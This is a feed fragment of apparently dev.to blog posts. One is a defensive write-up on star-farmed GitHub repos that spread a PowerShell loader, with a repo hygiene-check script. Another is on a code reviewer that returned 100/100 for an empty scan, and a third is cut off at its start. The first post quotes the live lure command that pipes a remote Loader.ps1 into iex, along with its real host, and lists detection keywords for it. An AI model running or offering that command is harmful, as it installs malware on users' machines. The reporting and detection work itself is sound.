&lt;h2&gt;
  
  
  The payload, and the proof it was seeded
&lt;/h2&gt;

&lt;p&gt;All four READMEs point at the same URL. I only sent a HEAD request — I did not fetch or run anything:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;https://ps-ps.cc/powershell/Loader.ps1&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="err"&gt;→&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nx"&gt;HTTP&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;200&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;resolves&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;to&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;196.251.107.72&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The READMEs wrap it in the standard lure: &lt;code&gt;powershell -ExecutionPolicy Bypass -Command "irm https://ps-ps.cc/powershell/Loader.ps1 | iex"&lt;/code&gt;, plus a troubleshooting section explaining how to &lt;strong&gt;pause real-time protection&lt;/strong&gt; if your antivirus objects, and — my favorite detail — a section literally titled &lt;em&gt;"Search Indexes &amp;amp; Organic Target Queries"&lt;/em&gt; that lists the SEO strings the repo is targeting. These repos are not built for humans. They are built to be &lt;em&gt;discovered&lt;/em&gt;.&lt;/p&gt;

&lt;p&gt;And they were. Here is the star-arrival distribution pulled from &lt;code&gt;/repos/{repo}/events&lt;/code&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;2026-10-04T11:13:48Z
2026-10-04T11:13:49Z
2026-10-04T11:13:49Z
2026-10-04T11:13:50Z
2026-10-04T11:13:50Z
...
2026-10-04T11:13:52Z     ← 100 WatchEvents, 4 seconds, all of them
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;100 stars in under 5 seconds&lt;/strong&gt;, all from one burst, against 0 forks. A person who stars a repo almost never forks it; 100 stars and 0 forks on a 2 KB file is the signature of a star-farm API call, not 100 humans.&lt;/p&gt;

&lt;p&gt;Two useful side findings from building this:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;The &lt;strong&gt;documented&lt;/strong&gt; way to get star timestamps — &lt;code&gt;Accept: application/vnd.github.star+json&lt;/code&gt; on &lt;code&gt;/repos/{r}/stargazers&lt;/code&gt; — returns &lt;strong&gt;404&lt;/strong&gt;, including for &lt;code&gt;torvalds/linux&lt;/code&gt;. The stub that works is &lt;code&gt;/events&lt;/code&gt; (WatchEvent stream, 90-day window).&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;stargazers_count&lt;/code&gt; is available in the repo payload, but &lt;code&gt;starred_at&lt;/code&gt; is not, so burst detection always costs you an extra request per repo. Budget for it.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  The control case: don't over-fit your filter
&lt;/h2&gt;

&lt;p&gt;Narrow repos are not automatically scams. &lt;code&gt;wy51ai/floorplan-3d&lt;/code&gt; is in my top 25: 1,394 stars, &lt;strong&gt;5 files&lt;/strong&gt;, one of which is a 185 KB &lt;code&gt;index.html&lt;/code&gt; containing a complete 2D+3D floor-plan editor. Naive rule "few files = fake" would kill a legitimate project.&lt;/p&gt;

&lt;p&gt;What separates them is not file count. It is &lt;strong&gt;forks plus arrival shape&lt;/strong&gt;:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;
&lt;code&gt;floorplan-3d&lt;/code&gt; (legit)&lt;/th&gt;
&lt;th&gt;
&lt;code&gt;Hwid-Spoofer&lt;/code&gt; (farmed)&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;stars&lt;/td&gt;
&lt;td&gt;1,394&lt;/td&gt;
&lt;td&gt;212&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;forks&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;287&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;0&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;README&lt;/td&gt;
&lt;td&gt;feature list + screenshots&lt;/td&gt;
&lt;td&gt;install script + "pause antivirus"&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;WatchEvents&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;93, spread across 3 days&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;100 in 4 seconds&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;license&lt;/td&gt;
&lt;td&gt;MIT&lt;/td&gt;
&lt;td&gt;none&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;h2&gt;
  
  
  The gate I run before a repo enters the digest
&lt;/h2&gt;

&lt;p&gt;Every candidate now has to survive this. It costs one extra API call per repo and it would have rejected all four:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;hygiene&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;repo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;events&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="c1"&gt;# Return a list of failure reasons. Empty list == publishable.
&lt;/span&gt;    &lt;span class="n"&gt;bad&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;

    &lt;span class="c1"&gt;# 1. no code at all: 1-2 files and nothing but markdown
&lt;/span&gt;    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;repo&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;files_at_root&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;=&lt;/span&gt; &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="n"&gt;repo&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;has_code_file&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
        &lt;span class="n"&gt;bad&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;no_code&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# 2. stars without forks: organic traction forks
&lt;/span&gt;    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;repo&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;forks&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;repo&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;stars&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;150&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;bad&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;stars_without_forks&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# 3. burst arrival: &amp;gt;30 watch events inside a 60s window
&lt;/span&gt;    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="nf"&gt;max_events_in_window&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;events&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;seconds&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;60&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="mi"&gt;30&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;bad&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;star_burst&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# 4. README tells the user to run a remote script / disable AV
&lt;/span&gt;    &lt;span class="n"&gt;text&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;repo&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;readme&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nf"&gt;lower&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;marker&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;iex(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;invoke-expression&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;executionpolicy bypass&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
                   &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;real-time protection&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;irm https://&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;marker&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;text&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;bad&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;lure:&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;marker&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;break&lt;/span&gt;

    &lt;span class="c1"&gt;# 5. template repo: created and pushed within 5 minutes, one commit
&lt;/span&gt;    &lt;span class="nf"&gt;if &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;repo&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;pushed_at&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="n"&gt;repo&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;created_at&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]).&lt;/span&gt;&lt;span class="nf"&gt;total_seconds&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;300&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;bad&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;template_dump&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="c1"&gt;# 6. same download domain shared by repos created the same day
&lt;/span&gt;    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;repo&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;payload_domain&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;repo&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;sibling_domains&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
        &lt;span class="n"&gt;bad&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;domain_cluster&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;bad&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Rule 6 is the one that generalizes. Individually each repo looks like a low-quality project; &lt;strong&gt;grouped by payload domain&lt;/strong&gt; they collapse into one campaign with four fronts. Cluster on the URL, not on the repo.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I'd ask GitHub for
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;code&gt;starred_at&lt;/code&gt; inside the repo payload, so burst detection is free.&lt;/li&gt;
&lt;li&gt;A real Trending API with a documented ranking formula, or at least a static JSON snapshot.&lt;/li&gt;
&lt;li&gt;A star-count sanity signal in the Search API response — even something as blunt as &lt;code&gt;stars_per_day_since_creation&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Restore &lt;code&gt;/stargazers&lt;/code&gt; with the &lt;code&gt;star+json&lt;/code&gt; media type, which is documented and currently 404s on every repo I tested.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2&gt;
  
  
  The uncomfortable part
&lt;/h2&gt;

&lt;p&gt;The digest exists to answer "what is the community excited about today?" It turns out that a stars-sorted list of anything — Trending, the Search API, your own aggregator — is a &lt;strong&gt;discovery surface&lt;/strong&gt;, and discovery surfaces get farmed. The same properties that made these four repos cheap to build (README-only, no license, instant push) made them cheap to seed, and the payload author got 1,349 stars' worth of free distribution in under 48 hours for the cost of four &lt;code&gt;git push&lt;/code&gt; calls.&lt;/p&gt;

&lt;p&gt;If you build a trending digest, the hygiene gate is not a nice-to-have. It is the part that decides whether your feed is a signal or somebody else's distribution channel.&lt;/p&gt;




&lt;p&gt;&lt;em&gt;The audit gates and the snapshot-diff tooling live in my &lt;a href="https://github.com/Felixwang007/awesome-content-tools" rel="noopener noreferrer"&gt;content tools repo&lt;/a&gt; alongside the earlier write-ups on agent self-check gates and rule-binding audits. I also publish the packaged versions of these utilities (container config doctor, environment drift checker, HTTP header auditor) on &lt;a href="https://xiaping.coze.com" rel="noopener noreferrer"&gt;虾评&lt;/a&gt; — if you want the repo-hygiene gate as a drop-in package, that is where it lands next.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>python</category>
      <category>opensource</category>
      <category>stocks</category>
    </item>
    <item>
      <title>My Code Reviewer Scored a Nonexistent Directory 100/100 and Exited 0</title>
      <dc:creator>Felixwang007</dc:creator>
      <pubDate>Thu, 01 Oct 2026 04:01:42 +0000</pubDate>
      <link>https://dev.to/felixwang007/my-code-reviewer-scored-a-nonexistent-directory-100100-and-exited-0-41m0</link>
      <guid>https://dev.to/felixwang007/my-code-reviewer-scored-a-nonexistent-directory-100100-and-exited-0-41m0</guid>
      <description>&lt;p&gt;Every skill package I ship — for Claude Code, Cursor, Codex, and a couple of agent marketplaces — has to clear one gate before publishing: its own &lt;code&gt;selftest&lt;/code&gt; must exit 0.&lt;/p&gt;

&lt;p&gt;So this week I ran an audit over the 34 packages sitting in my skills folder to find out how many actually have that gate. The audit broke twice, in two different ways. Both breakages are the same bug wearing different clothes, and it's the bug that makes agent tooling untrustworthy the moment you put it in CI:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;a success signal that isn't attached to work actually done.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Here's the whole thing, including the raw output.&lt;/p&gt;




&lt;h2&gt;
  
  
  Pass one: the audit script
&lt;/h2&gt;

&lt;p&gt;The script was not clever. Walk each package, find a script mentioning &lt;code&gt;selftest&lt;/code&gt;, run &lt;code&gt;python scripts/&amp;lt;script&amp;gt;.py selftest&lt;/code&gt;, read the exit code.&lt;/p&gt;

&lt;p&gt;Result:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;12 packages passed&lt;/li&gt;
&lt;li&gt;5 packages "failed"&lt;/li&gt;
&lt;li&gt;17 packages had no self-test at all&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The five failures looked like this (output is Chinese, I'll translate):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;FAKE(2) license-compliance-checker :: 错误: not a directory: ...\license-compliance-checker\selftest
FAKE(2) meeting-minutes-assistant   :: 找不到文件：selftest
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;error: not a directory: ...\selftest
file not found: selftest
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Those five tools were fine. &lt;strong&gt;My harness was wrong.&lt;/strong&gt; They implement the self-test as a &lt;code&gt;--selftest&lt;/code&gt; flag, not as a positional subcommand. Five working self-tests (30/30, 54/54, 16/16, 40/40, 77/77 assertions) were reported as failures because the invocation contract was never part of the contract.&lt;/p&gt;

&lt;p&gt;That's a false negative. Annoying, but it fails safe — the gate stays closed.&lt;/p&gt;

&lt;h2&gt;
  
  
  The bug that matters: 100/100 for a directory that doesn't exist
&lt;/h2&gt;

&lt;p&gt;One of those five is a code-review tool. Called with a positional argument, it does not complain. It treats the argument as a path:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;$ python scripts/code_review.py selftest
跳过不存在的路径: selftest
# 代码审查报告
- 审查范围: 0 个文件，0 行
- 发现问题: 0 个（致命 0 / 高 0 / 中 0 / 低 0）
- 健康分: 100/100 — ✅ 可以合并（按低优先级项择机清理）
EXIT=0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;skipped nonexistent path: selftest
# Code review report
- scope: 0 files, 0 lines
- findings: 0 (critical 0 / high 0 / medium 0 / low 0)
- health score: 100/100 — ✅ safe to merge
EXIT=0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Read that again. The tool skipped a path that doesn't exist, scanned zero files, handed out a perfect score and the string "safe to merge", and returned success.&lt;/p&gt;

&lt;p&gt;Its actual &lt;code&gt;--selftest&lt;/code&gt; works fine — 54 assertions, 38 rules, 23 of them firing on dirty samples. The bug only shows up in scan mode, and only when the input is empty, missing or malformed. Which is exactly the state a path variable is in when a shell glob expands to nothing, a CI job runs on a docs-only diff, or an agent passes the wrong parameter name.&lt;/p&gt;

&lt;p&gt;Now imagine the two ways this gets wired up:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;code_review.py --selftest &amp;amp;&amp;amp; deploy&lt;/code&gt; — fine.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;code_review.py $CHANGED_FILES&lt;/code&gt; — with &lt;code&gt;$CHANGED_FILES&lt;/code&gt; empty, you get "100/100, safe to merge" on a diff nobody looked at, green pipeline, exit 0.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;And if there's an LLM agent on top reading that output, it will faithfully report "review passed." Not because the model is sloppy — because the tool lied first.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;"Nothing wrong" and "nothing examined" are not the same result, and a tool that returns the same status for both cannot be part of a gate.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  What the audit measured, precisely
&lt;/h2&gt;

&lt;p&gt;Across 34 packages:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;self-test contract&lt;/th&gt;
&lt;th&gt;packages&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;--selftest&lt;/code&gt; flag&lt;/td&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;code&gt;selftest&lt;/code&gt; positional subcommand&lt;/td&gt;
&lt;td&gt;12&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;no self-test&lt;/td&gt;
&lt;td&gt;17&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Two conventions in one folder. Any harness that guesses will produce false negatives (safe) and — the dangerous half — false positives, since a wrong invocation is silently treated as &lt;em&gt;data&lt;/em&gt; rather than as an error. That's not a hypothetical: it's the output above.&lt;/p&gt;

&lt;p&gt;Assertion counts in the 17 that do have a self-test: 129, 85, 77, 71, 54, 44, 44, 40, 30, 26, 21, 19, 18, 16, 15, 12, plus one boolean PASS. About 700 assertions total, and the useful ones are all two-sided:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;positive cases&lt;/strong&gt; — the check fires on a known-bad sample&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;negative cases&lt;/strong&gt; — the check stays silent on a known-good sample&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Without the second half, a linter that flags everything looks perfect. Without the first half, a linter that flags nothing looks perfect. Exit-code-only gates cannot tell those apart.&lt;/p&gt;

&lt;p&gt;Concrete, from the 129-assertion SQL inspector:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;DROP TABLE&lt;/code&gt; is a finding; &lt;code&gt;DROP TABLE IF EXISTS&lt;/code&gt; is not.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;'no where clause here'&lt;/code&gt; inside a string literal is not a missing WHERE clause.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;SELECT *&lt;/code&gt; inside a comment is not a finding.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;os.environ["DB_PASSWORD"]&lt;/code&gt; is not a hardcoded credential; a literal password is.&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;BEGIN ... END&lt;/code&gt; in a PL/pgSQL function body is not an unclosed transaction.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Every one of those negative cases exists because the naive version of the rule got it wrong first.&lt;/p&gt;




&lt;h2&gt;
  
  
  Five rules for a gate that can't lie
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Assert on work done, not on exit status.&lt;/strong&gt; Zero files scanned, zero rules run, zero tokens in — all need a distinct non-success status. "No input" ≠ "input clean."&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;One documented self-test command per package.&lt;/strong&gt; Write the exact command in the package's &lt;code&gt;SKILL.md&lt;/code&gt;, and have the harness read it from metadata instead of pattern-matching the source. Guessing is how you get the false negative; silent acceptance is how you get the false positive.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Break an assertion on purpose.&lt;/strong&gt; A self-test nobody has seen fail is a print statement. Delete one rule, run the self-test, confirm it exits non-zero. Do this once per release, not once per project.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Every check gets a positive and a negative case.&lt;/strong&gt; One dirty sample, one clean sample, both asserted. This is the difference between a test suite and a smoke test.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;The publish/deploy step runs the gate itself and hard-fails.&lt;/strong&gt; My publish scripts run the self-test before zipping and refuse on a non-zero exit; the numbers and the exact commands are recorded in an &lt;code&gt;evaluation_cases.md&lt;/code&gt; next to the source. A gate that trusts a previous run's report is not a gate.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;And one more, because it's the failure mode I keep hitting: &lt;strong&gt;state what the tool does not do.&lt;/strong&gt; The review tool prints "static rules can only disprove, not prove — still verify permissions, concurrency and money precision by hand." That sentence is the most honest thing in the package. A gate that doesn't declare its blind spots gets trusted for them.&lt;/p&gt;




&lt;h2&gt;
  
  
  The remaining 17
&lt;/h2&gt;

&lt;p&gt;Adding self-tests to them is mechanical now — the templates exist, and the ones already done took about an hour of real assertions each, not real research. I'm starting with the packages that get wired into automation, because a missing self-test in a package nobody runs is a backlog item, while a zero-input success path in a pre-commit hook is an incident waiting for a quiet Friday.&lt;/p&gt;

&lt;p&gt;If you maintain skills, MCP servers, or CLI wrappers that agents call: the highest-value 30 minutes you can spend today is running your tool with an empty input and reading what it says. If it says "safe," "passed," or "0 issues," you've found the bug.&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Where this stuff lives&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Write-ups and tool notes: &lt;a href="https://github.com/Felixwang007/awesome-content-tools" rel="noopener noreferrer"&gt;https://github.com/Felixwang007/awesome-content-tools&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Supply-chain audit for agent tooling (5 static checks to run &lt;em&gt;before&lt;/em&gt; installing the trending repo): &lt;a href="https://github.com/Felixwang007/agent-supply-chain-audit" rel="noopener noreferrer"&gt;https://github.com/Felixwang007/agent-supply-chain-audit&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;The packaged skills, if you'd rather grab them than build them: &lt;a href="https://xiaping.coze.com" rel="noopener noreferrer"&gt;https://xiaping.coze.com&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If you've hit a zero-input success path in a tool you rely on, I'd like the exact output — that's the most useful kind of bug report.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>python</category>
      <category>opensource</category>
      <category>stocks</category>
    </item>
    <item>
      <title>I Fixed Two Bugs in My A-Share Backtest. 47x of the Edge Vanished, and Every 'Buy' Pattern Went Negative</title>
      <dc:creator>Felixwang007</dc:creator>
      <pubDate>Thu, 24 Sep 2026 12:57:59 +0000</pubDate>
      <link>https://dev.to/felixwang007/i-fixed-two-bugs-in-my-a-share-backtest-47x-of-the-edge-vanished-and-every-buy-pattern-went-1hod</link>
      <guid>https://dev.to/felixwang007/i-fixed-two-bugs-in-my-a-share-backtest-47x-of-the-edge-vanished-and-every-buy-pattern-went-1hod</guid>
      <description>&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt; — I rebuilt my Chinese A-share signal study on &lt;strong&gt;3,145 main-board stocks × 622&lt;br&gt;
trading days (2024-01-26 → 2026-09-18) = 904,775 pattern-labelled stock-days&lt;/strong&gt;, using free&lt;br&gt;
